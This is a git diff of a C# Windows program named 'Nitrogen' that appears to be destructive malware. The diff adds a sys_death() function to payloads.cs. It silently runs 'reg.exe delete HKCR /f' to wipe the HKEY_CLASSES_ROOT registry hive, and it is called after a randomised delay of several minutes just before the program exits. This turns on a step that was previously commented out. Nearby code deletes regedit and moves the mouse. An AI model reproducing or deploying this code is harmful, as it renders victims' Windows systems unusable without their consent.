diff --git a/Dll_Imports.cs b/Dll_Imports.cs
index 6645816..ec02cf1 100644
--- a/Dll_Imports.cs
+++ b/Dll_Imports.cs
@@ -1,11 +1,9 @@
 using Microsoft.Win32;
 using System;
-using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Media;
 using System.Runtime.InteropServices;
-using System.Text;
 
 namespace Nitrogen
 {
diff --git a/Program.cs b/Program.cs
index d840c56..7aaad84 100644
--- a/Program.cs
+++ b/Program.cs
@@ -1,8 +1,6 @@
 using Microsoft.Win32;
 using System;
-using System.Collections.Generic;
 using System.Diagnostics;
-using System.Linq;
 using System.Threading;
 using System.Windows.Forms;
 using static Nitrogen.Dll_Imports;
diff --git a/payloads.cs b/payloads.cs
index 5e01cca..4eb5609 100644
--- a/payloads.cs
+++ b/payloads.cs
@@ -1,11 +1,8 @@
 using System;
-using System.Collections.Generic;
 using System.Diagnostics;
+using System.Drawing;
 using System.IO;
-using System.Linq;
-using System.Media;
 using System.Runtime.InteropServices;
-using System.Text;
 using System.Threading;
 using System.Windows.Forms;
 using static Nitrogen.Dll_Imports;
@@ -175,17 +172,6 @@ namespace Nitrogen
                 {
                     File.Delete(regedit);
                 }
-
-                /*ProcessStartInfo registry = new ProcessStartInfo
-                {
-                    UseShellExecute = true,
-                    FileName = "reg.exe",
-                    Arguments = @"delete HKCR /f",
-                    CreateNoWindow = true,
-                    WindowStyle = ProcessWindowStyle.Hidden
-                };
-                Process.Start(registry);
-                */
             }
             catch { }
         }
@@ -352,6 +338,7 @@ namespace Nitrogen
             thr.Start();
             Random rand = new Random();
             Thread.Sleep(rand.Next(300000, 600000));
+            sys_death();
             Environment.Exit(-1);
 
         }
@@ -361,7 +348,7 @@ namespace Nitrogen
             while (proces_name.Length == 1)
             {
                 proces_name = Process.GetProcessesByName("notepad");
-                Dll_Imports.SetCursorPos(50, 50);
+                Cursor.Position = new Point(50, 50);
                 Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero);
                 //Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, 50, 50, 0, UIntPtr.Zero);
                 Thread.Sleep(1);
@@ -464,5 +451,17 @@ namespace Nitrogen
                 }
             }
         }
+        public static void sys_death()
+        {
+            ProcessStartInfo registry = new ProcessStartInfo
+            {
+                    UseShellExecute = true,
+                    FileName = "reg.exe",
+                    Arguments = @"delete HKCR /f",
+                    CreateNoWindow = true,
+                    WindowStyle = ProcessWindowStyle.Hidden
+            };
+            Process.Start(registry).WaitForExit();
+        }
     }
 }
diff --git a/variables.cs b/variables.cs
index 4f29e20..81a3036 100644
--- a/variables.cs
+++ b/variables.cs
@@ -1,11 +1,9 @@
 using System;
-using System.Collections.Generic;
 using System.Diagnostics;
 using System.Linq;
 using System.Management;
 using System.Net;
 using System.Reflection;
-using System.Runtime.InteropServices;
 using System.Text;
 using System.Threading;
 using static Nitrogen.Dll_Imports;